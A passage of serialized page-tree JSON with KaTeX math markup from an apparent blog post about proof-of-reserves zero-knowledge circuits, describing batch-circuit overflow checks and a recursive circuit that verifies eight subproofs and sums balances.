className":96301},[5669,22832],[96303],{"type":29,"value":52405},{"type":24,"tag":158,"props":96305,"children":96307},{"className":96306},[22983],[96308],{"type":29,"value":16646},{"type":24,"tag":158,"props":96310,"children":96312},{"className":96311,"style":5848},[5750],[],{"type":24,"tag":158,"props":96314,"children":96316},{"className":96315},[5853],[96317],{"type":29,"value":3760},{"type":24,"tag":158,"props":96319,"children":96321},{"className":96320,"style":5848},[5750],[],{"type":24,"tag":158,"props":96323,"children":96325},{"className":96324},[5658],[96326,96330,96337,96342,96348,96353,96358,96363,96369,96374,96380,96386],{"type":24,"tag":158,"props":96327,"children":96329},{"className":96328,"style":94267},[5663],[],{"type":24,"tag":158,"props":96331,"children":96334},{"className":96332,"style":96333},[5669,22832],"margin-right:0.10903em;",[96335],{"type":29,"value":96336},"M",{"type":24,"tag":158,"props":96338,"children":96340},{"className":96339},[5669,22832],[96341],{"type":29,"value":78045},{"type":24,"tag":158,"props":96343,"children":96346},{"className":96344,"style":96345},[5669,22832],"margin-right:0.07847em;",[96347],{"type":29,"value":7783},{"type":24,"tag":158,"props":96349,"children":96351},{"className":96350,"style":94325},[5669],[96352],{"type":29,"value":4750},{"type":24,"tag":158,"props":96354,"children":96356},{"className":96355,"style":23291},[5669,22832],[96357],{"type":29,"value":23294},{"type":24,"tag":158,"props":96359,"children":96361},{"className":96360},[5669,22832],[96362],{"type":29,"value":78045},{"type":24,"tag":158,"props":96364,"children":96366},{"className":96365,"style":23291},[5669,22832],[96367],{"type":29,"value":96368},"FE",{"type":24,"tag":158,"props":96370,"children":96372},{"className":96371,"style":94325},[5669],[96373],{"type":29,"value":4750},{"type":24,"tag":158,"props":96375,"children":96377},{"className":96376,"style":96345},[5669,22832],[96378],{"type":29,"value":96379},"I",{"type":24,"tag":158,"props":96381,"children":96383},{"className":96382,"style":22833},[5669,22832],[96384],{"type":29,"value":96385},"NT",{"type":24,"tag":158,"props":96387,"children":96389},{"className":96388},[5669],[96390],{"type":29,"value":96391},"/512",{"type":29,"value":8106},{"type":24,"tag":897,"props":96394,"children":96395},{},[96396],{"type":29,"value":96397},"(overflow check)",{"type":29,"value":96399}," --> overflow check is made this way for performance (note that 512 is actually the ",{"type":24,"tag":154,"props":96401,"children":96403},{"className":96402},[],[96404],{"type":29,"value":94183},{"type":29,"value":521},{"type":24,"tag":25,"props":96407,"children":96408},{},[96409],{"type":29,"value":96410},"Here is a visual scheme of the inputs of the batch circuit + how user hashes are generated:",{"type":24,"tag":25,"props":96412,"children":96413},{},[96414],{"type":24,"tag":84,"props":96415,"children":96417},{"alt":51850,"src":96416},"/posts/por/batch-circuit-inputs.png",[],{"type":24,"tag":395,"props":96419,"children":96421},{"id":96420},"recursive-circuit",[96422],{"type":29,"value":96423},"Recursive Circuit",{"type":24,"tag":25,"props":96425,"children":96426},{},[96427],{"type":29,"value":96428},"Recursive circuits get eight subproofs as input, verify if all the asset prices are the same, and calculate the summed balances and Merkle hash. Here are the constraints.",{"type":24,"tag":25,"props":96430,"children":96431},{},[96432],{"type":24,"tag":897,"props":96433,"children":96434},{},[96435],{"type":29,"value":94697},{"type":24,"tag":17924,"props":96437,"children":96438},{},[96439,96443,96448],{"type":24,"tag":1790,"props":96440,"children":96441},{},[96442],{"type":29,"value":94715},{"type":24,"tag":1790,"props":96444,"children":96445},{},[96446],{"type":29,"value":96447},"Asset prices",{"type":24,"tag":1790,"props":96449,"children":96450},{},[96451],{"type":29,"value":94710},{"type":24,"tag":25,"props":96453,"children":96454},{},[96455],{"type":24,"tag":897,"props":96456,"children":96457},{},[96458],{"type":29,"value":94723},{"type":24,"tag":17924,"props":96460,"children":96461},{},[96462],{"type":24,"tag":1790,"props":96463,"children":96464},{},[96465],{"type":29,"value":96466},"8 subproofs",{"type":24,"tag":25,"props":96468,"children":96469},{},[96470],{"type":24,"tag":897,"props":96471,"children":96472},{},[96473],{"type":29,"value":94744},{"type":24,"tag":17924,"props":96475,"children":96476},{},[96477,96887,97218,97585,97972],{"type":24,"tag":1790,"props":96478,"children":96479},{},[96480,96882,96883],{"type":24,"tag":154,"props":96481,"children":96483},{"className":96482},[5642,5643],[96484],{"type":24,"tag":158,"props":96485,"children":96487},{"className":96486},[5648],[96488],{"type":24,"tag":158,"props":96489,"children":96491},{"className":96490,"ariaHidden":3185},[5653],[96492,96628],{"type":24,"tag":158,"props":96493,"children":96495},{"className":96494},[5658],[96496,96500,96505,96510,96515,96520,96525,96530,96535,96540,96545,96550,96555,96560,96565,96570,96575,96580,96585,96590,96595,96600,96605,96610,96615,96619,96624],{"type":24,"tag":158,"props":96497,"children":96499},{"className":96498,"style":94267},[5663],[],{"type":24,"tag":158,"props":96501,"children":96503},{"className":96502},[5669,22832],[96504],{"type":29,"value":22974},{"type":24,"tag":158,"props":96506,"children":96508},{"className":96507},[5669,22832],[96509],{"type":29,"value":94295},{"type":24,"tag":158,"props":96511,"children":96513},{"className":96512},[5669,22832],[96514],{"type":29,"value":22974},{"type":24,"tag":158,"props":96516,"children":96518},{"className":96517},[5669,22832],[96519],{"type":29,"value":101},{"type":24,"tag":158,"props":96521,"children":96523},{"className":96522,"style":94337},[5669,22832],[96524],{"type":29,"value":94340},{"type":24,"tag":158,"props":96526,"children":96528},{"className":96527,"style":94325},[5669],[96529],{"type":29,"value":4750},{"type":24,"tag":158,"props":96531,"children":96533},{"className":96532},[5669,22832],[96534],{"type":29,"value":101},{"type":24,"tag":158,"props":96536,"children":96538},{"className":96537},[5669,22832],[96539],{"type":29,"value":94316},{"type":24,"tag":158,"props":96541,"children":96543},{"className":96542},[5669,22832],[96544],{"type":29,"value":22974},{"type":24,"tag":158,"props":96546,"children":96548},{"className":96547,"style":94325},[5669],[96549],{"type":29,"value":4750},{"type":24,"tag":158,"props":96551,"children":96553},{"className":96552},[5669,22832],[96554],{"type":29,"value":94333},{"type":24,"tag":158,"props":96556,"children":96558},{"className":96557,"style":94337},[5669,22832],[96559],{"type":29,"value":94340},{"type":24,"tag":158,"props":96561,"children":96563},{"className":96562},[5669,22832],[96564],{"type":29,"value":94346},{"type":24,"tag":158,"props":96566,"children":96568},{"className":96567},[5669,22832],[96569],{"type":29,"value":94352},{"type":24,"tag":158,"props":96571,"children":96573},{"className":96572},[22961],[96574],{"type":29,"value":2048},{"type":24,"tag":158,"props":96576,"children":96578},{"className":96577},[5669,22832],[96579],{"type":29,"value":101},{"type":24,"tag":158,"props":96581,"children":96583},{"className":96582},[5669,22832],[96584],{"type":29,"value":94316},{"type":24,"tag":158,"props":96586,"children":96588},{"className":96587},[5669,22832],[96589],{"type":29,"value":22974},{"type":24,"tag":158,"props":96591,"children":96593},{"className":96592,"style":94325},[5669],[96594],{"type":29,"value":4750},{"type":24,"tag":158,"props":96596,"children":96598},{"className":96597},[5669,22832],[96599],{"type":29,"value":57676},{"type":24,"tag":158,"props":96601,"children":96603},{"className":96602},[5669,22832],[96604],{"type":29,"value":94584},{"type":24,"tag":158,"props":96606,"children":96608},{"className":96607},[5669,22832],[96609],{"type":29,"value":52405},{"type":24,"tag":158,"props":96611,"children":96613},{"className":96612},[22983],[96614],{"type":29,"value":16646},{"type":24,"tag":158,"props":96616,"children":96618},{"className":96617,"style":5848},[5750],[],{"type":24,"tag":158,"props":96620,"children":96622},{"className":96621},[5853],[96623],{"type":29,"value":1034},{"type":24,"tag":158,"props":96625,"children":96627},{"className":96626,"style":5848},[5750],[],{"type":24,"tag":158,"props":96629,"children":96631},{"className":96630},[5658],[96632,96636,96641,96646,96651,96656,96661,96666,96672,96731,96736,96741,96746,96751,96756,96761,96766,96771,96777,96782,96787,96792,96797,96802,96807,96812,96817,96822,96827,96832,96837,96842,96847,96852,96857,96862,96867,96872,96877],{"type":24,"tag":158,"props":96633,"children":96635},{"className":96634,"style":94267},[5663],[],{"type":24,"tag":158,"props":96637,"children":96639},{"className":96638},[5669],[96640],{"type":29,"value":94915},{"type":24,"tag":158,"props":96642,"children":96644},{"className":96643},[5750],[96645],{"type":29,"value":22933},{"type":24,"tag":158,"props":96647,"children":96649},{"className":96648},[5669,22832],[96650],{"type":29,"value":1472},{"type":24,"tag":158,"props":96652,"children":96654},{"className":96653},[5669,22832],[96655],{"type":29,"value":94584},{"type":24,"tag":158,"props":96657,"children":96659},{"className":96658},[5669,22832],[96660],{"type":29,"value":741},{"type":24,"tag":158,"props":96662,"children":96664},{"className":96663},[5669,22832],[96665],{"type":29,"value":25},{"type":24,"tag":158,"props":96667,"children":96669},{"className":96668},[5669,22832],[96670],{"type":29,"value":96671},"roo",{"type":24,"tag":158,"props":96673,"children":96675},{"className":96674},[5669],[96676,96682],{"type":24,"tag":158,"props":96677,"children":96680},{"className":96678,"style":96679},[5669,22832],"margin-right:0.10764em;",[96681],{"type":29,"value":34347},{"type":24,"tag":158,"props":96683,"children":96685},{"className":96684},[5686],[96686],{"type":24,"tag":158,"props":96687,"children":96689},{"className":96688},[5691,22886],[96690,96720],{"type":24,"tag":158,"props":96691,"children":96693},{"className":96692},[5696],[96694,96715],{"type":24,"tag":158,"props":96695,"children":96697},{"className":96696,"style":94854},[5701],[96698],{"type":24,"tag":158,"props":96699,"children":96701},{"style":96700},"top:-2.55em;margin-left:-0.1076em;margin-right:0.05em;",[96702,96706],{"type":24,"tag":158,"props":96703,"children":96705},{"className":96704,"style":5711},[5710],[],{"type":24,"tag":158,"props":96707,"children":96709},{"className":96708},[5716,5717,5718,5719],[96710],{"type":24,"tag":158,"props":96711,"children":96713},{"className":96712},[5669,22832,5719],[96714],{"type":29,"value":1832},{"type":24,"tag":158,"props":96716,"children":96718},{"className":96717},[22989],[96719],{"type":29,"value":22992},{"type":24,"tag":158,"props":96721,"children":96723},{"className":96722},[5696],[96724],{"type":24,"tag":158,"props":96725,"children":96727},{"className":96726,"style":94408},[5701],[96728],{"type":24,"tag":158,"props":96729,"children":96730},{},[],{"type":24,"tag":158,"props":96732,"children":96734},{"className":96733},[5669],[96735],{"type":29,"value":347},{"type":24,"tag":158,"props":96737,"children":96739},{"className":96738},[5669,22832],[96740],{"type":29,"value":25},{"type":24,"tag":158,"props":96742,"children":96744},{"className":96743},[5669,22832],[96745],{"type":29,"value":94584},{"type":24,"tag":158,"props":96747,"children":96749},{"className":96748},[5669,22832],[96750],{"type":29,"value":741},{"type":24,"tag":158,"props":96752,"children":96754},{"className":96753,"style":94337},[5669,22832],[96755],{"type":29,"value":94340},{"type":24,"tag":158,"props":96757,"children":96759},{"className":96758},[5669,22832],[96760],{"type":29,"value":1832},{"type":24,"tag":158,"props":96762,"children":96764},{"className":96763},[5669,22832],[96765],{"type":29,"value":2907},{"type":24,"tag":158,"props":96767,"children":96769},{"className":96768,"style":94325},[5669],[96770],{"type":29,"value":4750},{"type":24,"tag":158,"props":96772,"children":96774},{"className":96773},[5669,22832],[96775],{"type":29,"value":96776},"in",{"type":24,"tag":158,"props":96778,"children":96780},{"className":96779},[5669,22832],[96781],{"type":29,"value":25},{"type":24,"tag":158,"props":96783,"children":96785},{"className":96784},[5669,22832],[96786],{"type":29,"value":94584},{"type":24,"tag":158,"props":96788,"children":96790},{"className":96789},[5669,22832],[96791],{"type":29,"value":22974},{"type":24,"tag":158,"props":96793,"children":96795},{"className":96794},[5669],[96796],{"type":29,"value":347},{"type":24,"tag":158,"props":96798,"children":96800},{"className":96799},[5669,22832],[96801],{"type":29,"value":101},{"type":24,"tag":158,"props":96803,"children":96805},{"className":96804},[5669,22832],[96806],{"type":29,"value":94316},{"type":24,"tag":158,"props":96808,"children":96810},{"className":96809},[5669,22832],[96811],{"type":29,"value":22974},{"type":24,"tag":158,"props":96813,"children":96815},{"className":96814,"style":94325},[5669],[96816],{"type":29,"value":4750},{"type":24,"tag":158,"props":96818,"children":96820},{"className":96819},[5669,22832],[96821],{"type":29,"value":94333},{"type":24,"tag":158,"props":96823,"children":96825},{"className":96824,"style":94337},[5669,22832],[96826],{"type":29,"value":94340},{"type":24,"tag":158,"props":96828,"children":96830},{"className":96829},[5669,22832],[96831],{"type":29,"value":94346},{"type":24,"tag":158,"props":96833,"children":96835},{"className":96834},[5669,22832],[96836],{"type":29,"value":95155},{"type":24,"tag":158,"props":96838,"children":96840},{"className":96839},[22961],[96841],{"type":29,"value":2048},{"type":24,"tag":158,"props":96843,"children":96845},{"className":96844},[5669,22832],[96846],{"type":29,"value":101},{"type":24,"tag":158,"props":96848,"children":96850},{"className":96849},[5669,22832],[96851],{"type":29,"value":94316},{"type":24,"tag":158,"props":96853,"children":96855},{"className":96854},[5669,22832],[96856],{"type":29,"value":22974},{"type":24,"tag":158,"props":96858,"children":96860},{"className":96859,"style":94325},[5669],[96861],{"type":29,"value":4750},{"type":24,"tag":158,"props":96863,"children":96865},{"className":96864},[5669,22832],[96866],{"type":29,"value":57676},{"type":24,"tag":158,"props":96868,"children":96870},{"className":96869},[5669,22832],[96871],{"type":29,"value":94584},{"type":24,"tag":158,"props":96873,"children":96875},{"className":96874},[5669,22832],[96876],{"type":29,"value":52405},{"type":24,"tag":158,"props":96878,"children":96880},{"className":96879},[22983],[96881],{"type":29,"value":16646},{"type":29,"value":8106},{"type":24,"tag":897,"props":96884,"children":96885},{},[96886],{"type":29,"value":95715},{"type":24,"tag":1790,"props":96888,"children":96889},{},[96890],{"type":24,"tag":154,"props":96891,"children":96893},{"className":96892},[5642,5643],[96894],{"type":24,"tag":158,"props":96895,"children":96897},{"className":96896},[5648],[96898],{"type":24,"tag":158,"props":96899,"children":96901},{"className":96900,"ariaHidden":3185},[5653],[96902,97008],{"type":24,"tag":158,"props":96903,"children":96905},{"className":96904},[5658],[96906,96910,96915,96920,96925,96930,96935,96940,96945,96950,96955,96960,96965,96970,96975,96980,96985,96990,96995,96999,97004],{"type":24,"tag":158,"props":96907,"children":96909},{"className":96908,"style":94267},[5663],[],{"type":24,"tag":158,"props":96911,"children":96913},{"className":96912},[5669,22832],[96914],{"type":29,"value":101},{"type":24,"tag":158,"props":96916,"children":96918},{"className":96917},[5669,22832],[96919],{"type":29,"value":94316},{"type":24,"tag":158,"props":96921,"children":96923},{"className":96922},[5669,22832],[96924],{"type":29,"value":22974},{"type":24,"tag":158,"props":96926,"children":96928},{"className":96927,"style":94325},[5669],[96929],{"type":29,"value":4750},{"type":24,"tag":158,"props":96931,"children":96933},{"className":96932},[5669,22832],[96934],{"type":29,"value":25},{"type":24,"tag":158,"props":96936,"children":96938},{"className":96937,"style":94325},[5669,22832],[96939],{"type":29,"value":95144},{"type":24,"tag":158,"props":96941,"children":96943},{"className":96942},[5669,22832],[96944],{"type":29,"value":1832},{"type":24,"tag":158,"props":96946,"children":96948},{"className":96947},[5669,22832],[96949],{"type":29,"value":94352},{"type":24,"tag":158,"props":96951,"children":96953},{"className":96952},[22961],[96954],{"type":29,"value":2048},{"type":24,"tag":158,"props":96956,"children":96958},{"className":96957},[5669,22832],[96959],{"type":29,"value":101},{"type":24,"tag":158,"props":96961,"children":96963},{"className":96962},[5669,22832],[96964],{"type":29,"value":94316},{"type":24,"tag":158,"props":96966,"children":96968},{"className":96967},[5669,22832],[96969],{"type":29,"value":22974},{"type":24,"tag":158,"props":96971,"children":96973},{"className":96972,"style":94325},[5669],[96974],{"type":29,"value":4750},{"type":24,"tag":158,"props":96976,"children":96978},{"className":96977},[5669,22832],[96979],{"type":29,"value":57676},{"type":24,"tag":158,"props":96981,"children":96983},{"className":96982},[5669,22832],[96984],{"type":29,"value":94584},{"type":24,"tag":158,"props":96986,"children":96988},{"className":96987},[5669,22832],[96989],{"type":29,"value":52405},{"type":24,"tag":158,"props":96991,"children":96993},{"className":96992},[22983],[96994],{"type":29,"value":16646},{"type":24,"tag":158,"props":96996,"children":96998},{"className":96997,"style":5848},[5750],[],{"type":24,"tag":158,"props":97000,"children":97002},{"className":97001},[5853],[97003],{"type":29,"value":1034},{"type":24,"tag":158,"props":97005,"children":97007},{"className":97006,"style":5848},[5750],[],{"type":24,"tag":158,"props":97009,"children":97011},{"className":97010},[5658],[97012,97016,97021,97026,97031,97036,97041,97098,97103,97108,97113,97118,97123,97128,97133,97138,97143,97148,97153,97158,97163,97168,97173,97178,97183,97188,97193,97198,97203,97208,97213],{"type":24,"tag":158,"props":97013,"children":97015},{"className":97014,"style":94267},[5663],[],{"type":24,"tag":158,"props":97017,"children":97019},{"className":97018},[5669,22832],[97020],{"type":29,"value":1472},{"type":24,"tag":158,"props":97022,"children":97024},{"className":97023},[5669,22832],[97025],{"type":29,"value":94584},{"type":24,"tag":158,"props":97027,"children":97029},{"className":97028},[5669,22832],[97030],{"type":29,"value":741},{"type":24,"tag":158,"props":97032,"children":97034},{"className":97033},[5669,22832],[97035],{"type":29,"value":25},{"type":24,"tag":158,"props":97037,"children":97039},{"className":97038},[5669,22832],[97040],{"type":29,"value":96671},{"type":24,"tag":158,"props":97042,"children":97044},{"className":97043},[5669],[97045,97050],{"type":24,"tag":158,"props":97046,"children":97048},{"className":97047,"style":96679},[5669,22832],[97049],{"type":29,"value":34347},{"type":24,"tag":158,"props":97051,"children":97053},{"className":97052},[5686],[97054],{"type":24,"tag":158,"props":97055,"children":97057},{"className":97056},[5691,22886],[97058,97087],{"type":24,"tag":158,"props":97059,"children":97061},{"className":97060},[5696],[97062,97082],{"type":24,"tag":158,"props":97063,"children":97065},{"className":97064,"style":94854},[5701],[97066],{"type":24,"tag":158,"props":97067,"children":97068},{"style":96700},[97069,97073],{"type":24,"tag":158,"props":97070,"children":97072},{"className":97071,"style":5711},[5710],[],{"type":24,"tag":158,"props":97074,"children":97076},{"className":97075},[5716,5717,5718,5719],[97077],{"type":24,"tag":158,"props":97078,"children":97080},{"className":97079},[5669,22832,5719],[97081],{"type":29,"value":1832},{"type":24,"tag":158,"props":97083,"children":97085},{"className":97084},[22989],[97086],{"type":29,"value":22992},{"type":24,"tag":158,"props":97088,"children":97090},{"className":97089},[5696],[97091],{"type":24,"tag":158,"props":97092,"children":97094},{"className":97093,"style":94408},[5701],[97095],{"type":24,"tag":158,"props":97096,"children":97097},{},[],{"type":24,"tag":158,"props":97099,"children":97101},{"className":97100},[5669],[97102],{"type":29,"value":347},{"type":24,"tag":158,"props":97104,"children":97106},{"className":97105},[5669,22832],[97107],{"type":29,"value":25},{"type":24,"tag":158,"props":97109,"children":97111},{"className":97110},[5669,22832],[97112],{"type":29,"value":94584},{"type":24,"tag":158,"props":97114,"children":97116},{"className":97115},[5669,22832],[97117],{"type":29,"value":741},{"type":24,"tag":158,"props":97119,"children":97121},{"className":97120,"style":94337},[5669,22832],[97122],{"type":29,"value":94340},{"type":24,"tag":158,"props":97124,"children":97126},{"className":97125},[5669,22832],[97127],{"type":29,"value":1832},{"type":24,"tag":158,"props":97129,"children":97131},{"className":97130},[5669,22832],[97132],{"type":29,"value":2907},{"type":24,"tag":158,"props":97134,"children":97136},{"className":97135,"style":94325},[5669],[97137],{"type":29,"value":4750},{"type":24,"tag":158,"props":97139,"children":97141},{"className":97140},[5669,22832],[97142],{"type":29,"value":96776},{"type":24,"tag":158,"props":97144,"children":97146},{"className":97145},[5669,22832],[97147],{"type":29,"value":25},{"type":24,"tag":158,"props":97149,"children":97151},{"className":97150},[5669,22832],[97152],{"type":29,"value":94584},{"type":24,"tag":158,"props":97154,"children":97156},{"className":97155},[5669,22832],[97157],{"type":29,"value":22974},{"type":24,"tag":158,"props":97159,"children":97161},{"className":97160},[5669],[97162],{"type":29,"value":347},{"type":24,"tag":158,"props":97164,"children":97166},{"className":97165},[5669,22832],[97167],{"type":29,"value":101},{"type":24,"tag":158,"props":97169,"children":97171},{"className":97170},[5669,22832],[97172],{"type":29,"value":94316},{"type":24,"tag":158,"props":97174,"children":97176},{"className":97175},[5669,22832],[97177],{"type":29,"value":22974},{"type":24,"tag":158,"props":97179,"children":97181},{"className":97180,"style":94325},[5669],[97182],{"type":29,"value":4750},{"type":24,"tag":158,"props":97184,"children":97186},{"className":97185},[5669,22832],[97187],{"type":29,"value":25},{"type":24,"tag":158,"props":97189,"children":97191},{"className":97190,"style":94325},[5669,22832],[97192],{"type":29,"value":95144},{"type":24,"tag":158,"props":97194,"children":97196},{"className":97195},[5669,22832],[97197],{"type":29,"value":1832},{"type":24,"tag":158,"props":97199,"children":97201},{"className":97200},[5669,22832],[97202],{"type":29,"value":95155},{"type":24,"tag":158,"props":97204,"children":97206},{"className":97205},[22961],[97207],{"type":29,"value":2048},{"type":24,"tag":158,"props":97209,"children":97211},{"className":97210},[5669],[97212],{"type":29,"value":5682},{"type":24,"tag":158,"props":97214,"children":97216},{"className":97215},[22983],[97217],{"type":29,"value":16646},{"type":24,"tag":1790,"props":97219,"children":97220},{},[97221,97579,97580],{"type":24,"tag":154,"props":97222,"children":97224},{"className":97223},[5642,5643],[97225],{"type":24,"tag":158,"props":97226,"children":97228},{"className":97227},[5648],[97229],{"type":24,"tag":158,"props":97230,"children":97232},{"className":97231,"ariaHidden":3185},[5653],[97233,97339],{"type":24,"tag":158,"props":97234,"children":97236},{"className":97235},[5658],[97237,97241,97246,97251,97256,97261,97266,97271,97276,97281,97286,97291,97296,97301,97306,97311,97316,97321,97326,97330,97335],{"type":24,"tag":158,"props":97238,"children":97240},{"className":97239,"style":94267},[5663],[],{"type":24,"tag":158,"props":97242,"children":97244},{"className":97243},[5669,22832],[97245],{"type":29,"value":101},{"type":24,"tag":158,"props":97247,"children":97249},{"className":97248},[5669,22832],[97250],{"type":29,"value":94316},{"type":24,"tag":158,"props":97252,"children":97254},{"className":97253},[5669,22832],[97255],{"type":29,"value":22974},{"type":24,"tag":158,"props":97257,"children":97259},{"className":97258,"style":94325},[5669],[97260],{"type":29,"value":4750},{"type":24,"tag":158,"props":97262,"children":97264},{"className":97263},[5669,22832],[97265],{"type":29,"value":25},{"type":24,"tag":158,"props":97267,"children":97269},{"className":97268,"style":94325},[5669,22832],[97270],{"type":29,"value":95144},{"type":24,"tag":158,"props":97272,"children":97274},{"className":97273},[5669,22832],[97275],{"type":29,"value":1832},{"type":24,"tag":158,"props":97277,"children":97279},{"className":97278},[5669,22832],[97280],{"type":29,"value":94352},{"type":24,"tag":158,"props":97282,"children":97284},{"className":97283},[22961],[97285],{"type":29,"value":2048},{"type":24,"tag":158,"props":97287,"children":97289},{"className":97288},[5669,22832],[97290],{"type":29,"value":101},{"type":24,"tag":158,"props":97292,"children":97294},{"className":97293},[5669,22832],[97295],{"type":29,"value":94316},{"type":24,"tag":158,"props":97297,"children":97299},{"className":97298},[5669,22832],[97300],{"type":29,"value":22974},{"type":24,"tag":158,"props":97302,"children":97304},{"className":97303,"style":94325},[5669],[97305],{"type":29,"value":4750},{"type":24,"tag":158,"props":97307,"children":97309},{"className":97308},[5669,22832],[97310],{"type":29,"value":57676},{"type":24,"tag":158,"props":97312,"children":97314},{"className":97313},[5669,22832],[97315],{"type":29,"value":94584},{"type":24,"tag":158,"props":97317,"children":97319},{"className":97318},[5669,22832],[97320],{"type":29,"value":52405},{"type":24,"tag":158,"props":97322,"children":97324},{"className":97323},[22983],[97325],{"type":29,"value":16646},{"type":24,"tag":158,"props":97327,"children":97329},{"className":97328,"style":5848},[5750],[],{"type":24,"tag":158,"props":97331,"children":97333},{"className":97332},[5853],[97334],{"type":29,"value":1034},{"type":24,"tag":158,"props":97336,"children":97338},{"className":97337,"style":5848},[5750],[],{"type":24,"tag":158,"props":97340,"children":97342},{"className":97341},[5658],[97343,97347,97352,97357,97362,97367,97372,97429,97434,97439,97444,97449,97454,97459,97464,97469,97474,97479,97484,97489,97494,97499,97504,97509,97514,97519,97524,97529,97534,97539,97544,97549,97554,97559,97564,97569,97574],{"type":24,"tag":158,"props":97344,"children":97346},{"className":97345,"style":94267},[5663],[],{"type":24,"tag":158,"props":97348,"children":97350},{"className":97349},[5669,22832],[97351],{"type":29,"value":1472},{"type":24,"tag":158,"props":97353,"children":97355},{"className":97354},[5669,22832],[97356],{"type":29,"value":94584},{"type":24,"tag":158,"props":97358,"children":97360},{"className":97359},[5669,22832],[97361],{"type":29,"value":741},{"type":24,"tag":158,"props":97363,"children":97365},{"className":97364},[5669,22832],[97366],{"type":29,"value":25},{"type":24,"tag":158,"props":97368,"children":97370},{"className":97369},[5669,22832],[97371],{"type":29,"value":96671},{"type":24,"tag":158,"props":97373,"children":97375},{"className":97374},[5669],[97376,97381],{"type":24,"tag":158,"props":97377,"children":97379},{"className":97378,"style":96679},[5669,22832],[97380],{"type":29,"value":34347},{"type":24,"tag":158,"props":97382,"children":97384},{"className":97383},[5686],[97385],{"type":24,"tag":158,"props":97386,"children":97388},{"className":97387},[5691,22886],[97389,97418],{"type":24,"tag":158,"props":97390,"children":97392},{"className":97391},[5696],[97393,97413],{"type":24,"tag":158,"props":97394,"children":97396},{"className":97395,"style":94854},[5701],[97397],{"type":24,"tag":158,"props":97398,"children":97399},{"style":96700},[97400,97404],{"type":24,"tag":158,"props":97401,"children":97403},{"className":97402,"style":5711},[5710],[],{"type":24,"tag":158,"props":97405,"children":97407},{"className":97406},[5716,5717,5718,5719],[97408],{"type":24,"tag":158,"props":97409,"children":97411},{"className":97410},[5669,22832,5719],[97412],{"type":29,"value":1832},{"type":24,"tag":158,"props":97414,"children":97416},{"className":97415},[22989],[97417],{"type":29,"value":22992},{"type":24,"tag":158,"props":97419,"children":97421},{"className":97420},[5696],[97422],{"type":24,"tag":158,"props":97423,"children":97425},{"className":97424,"style":94408},[5701],[97426],{"type":24,"tag":158,"props":97427,"children":97428},{},[],{"type":24,"tag":158,"props":97430,"children":97432},{"className":97431},[5669],[97433],{"type":29,"value":347},{"type":24,"tag":158,"props":97435,"children":97437},{"className":97436},[5669,22832],[97438],{"type":29,"value":25},{"type":24,"tag":158,"props":97440,"children":97442},{"className":97441},[5669,22832],[97443],{"type":29,"value":94584},{"type":24,"tag":158,"props":97445,"children":97447},{"className":97446},[5669,22832],[97448],{"type":29,"value":741},{"type":24,"tag":158,"props":97450,"children":97452},{"className":97451,"style":94337},[5669,22832],[97453],{"type":29,"value":94340},{"type":24,"tag":158,"props":97455,"children":97457},{"className":97456},[5669,22832],[97458],{"type":29,"value":1832},{"type":24,"tag":158,"props":97460,"children":97462},{"className":97461},[5669,22832],[97463],{"type":29,"value":2907},{"type":24,"tag":158,"props":97465,"children":97467},{"className":97466,"style":94325},[5669],[97468],{"type":29,"value":4750},{"type":24,"tag":158,"props":97470,"children":97472},{"className":97471},[5669,22832],[97473],{"type":29,"value":96776},{"type":24,"tag":158,"props":97475,"children":97477},{"className":97476},[5669,22832],[97478],{"type":29,"value":25},{"type":24,"tag":158,"props":97480,"children":97482},{"className":97481},[5669,22832],[97483],{"type":29,"value":94584},{"type":24,"tag":158,"props":97485,"children":97487},{"className":97486},[5669,22832],[97488],{"type":29,"value":22974},{"type":24,"tag":158,"props":97490,"children":97492},{"className":97491},[5669],[97493],{"type":29,"value":347},{"type":24,"tag":158,"props":97495,"children":97497},{"className":97496},[5669,22832],[97498],{"type":29,"value":101},{"type":24,"tag":158,"props":97500,"children":97502},{"className":97501},[5669,22832],[97503],{"type":29,"value":94316},{"type":24,"tag":158,"props":97505,"children":97507},{"className":97506},[5669,22832],[97508],{"type":29,"value":22974},{"type":24,"tag":158,"props":97510,"children":97512},{"className":97511,"style":94325},[5669],[97513],{"type":29,"value":4750},{"type":24,"tag":158,"props":97515,"children":97517},{"className":97516},[5669,22832],[97518],{"type":29,"value":25},{"type":24,"tag":158,"props":97520,"children":97522},{"className":97521,"style":94325},[5669,22832],[97523],{"type":29,"value":95144},{"type":24,"tag":158,"props":97525,"children":97527},{"className":97526},[5669,22832],[97528],{"type":29,"value":1832},{"type":24,"tag":158,"props":97530,"children":97532},{"className":97531},[5669,22832],[97533],{"type":29,"value":95155},{"type":24,"tag":158,"props":97535,"children":97537},{"className":97536},[22961],[97538],{"type":29,"value":2048},{"type":24,"tag":158,"props":97540,"children":97542},{"className":97541},[5669,22832],[97543],{"type":29,"value":101},{"type":24,"tag":158,"props":97545,"children":97547},{"className":97546},[5669,22832],[97548],{"type":29,"value":94316},{"type":24,"tag":158,"props":97550,"children":97552},{"className":97551},[5669,22832],[97553],{"type":29,"value":22974},{"type":24,"tag":158,"props":97555,"children":97557},{"className":97556,"style":94325},[5669],[97558],{"type":29,"value":4750},{"type":24,"tag":158,"props":97560,"children":97562},{"className":97561},[5669,22832],[97563],{"type":29,"value":57676},{"type":24,"tag":158,"props":97565,"children":97567},{"className":97566},[5669,22832],[97568],{"type":29,"value":94584},{"type":24,"tag":158,"props":97570,"children":97572},{"className":97571},[5669,22832],[97573],{"type":29,"value":52405},{"type":24,"tag":158,"props":97575,"children":97577},{"className":97576},[22983],[97578],{"type":29,"value":16646},{"type":29,"value":8106},{"type":24,"tag":897,"props":97581,"children":97582},{},[97583],{"type":29,"value":97584},"(verifies if all asset prices are the same)",{"type":24,"tag":1790,"props":97586,"children":97587},{},[97588,97967,97968],{"type":24,"tag":154,"props":97589,"children":97591},{"className":97590},[5642,5643],[97592],{"type":24,"tag":158,"props":97593,"children":97595},{"className":97594},[5648],[97596],{"type":24,"tag":158,"props":97597,"children":97599},{"className":97598,"ariaHidden":3185},[5653],[97600,97681],{"type":24,"tag":158,"props":97601,"children":97603},{"className":97602},[5658],[97604,97608,97613,97618,97623,97628,97633,97638,97643,97648,97653,97658,97663,97668,97672,97677],{"type":24,"tag":158,"props":97605,"children":97607},{"className":97606,"style":95738},[5663],[],{"type":24,"tag":158,"props":97609,"children":97611},{"className":97610},[5669,22832],[97612],{"type":29,"value":52405},{"type":24,"tag":158,"props":97614,"children":97616},{"className":97615,"style":94325},[5669,22832],[97617],{"type":29,"value":95750},{"type":24,"tag":158,"props":97619,"children":97621},{"className":97620,"style":95754},[5669,22832],[97622],{"type":29,"value":89962},{"type":24,"tag":158,"props":9762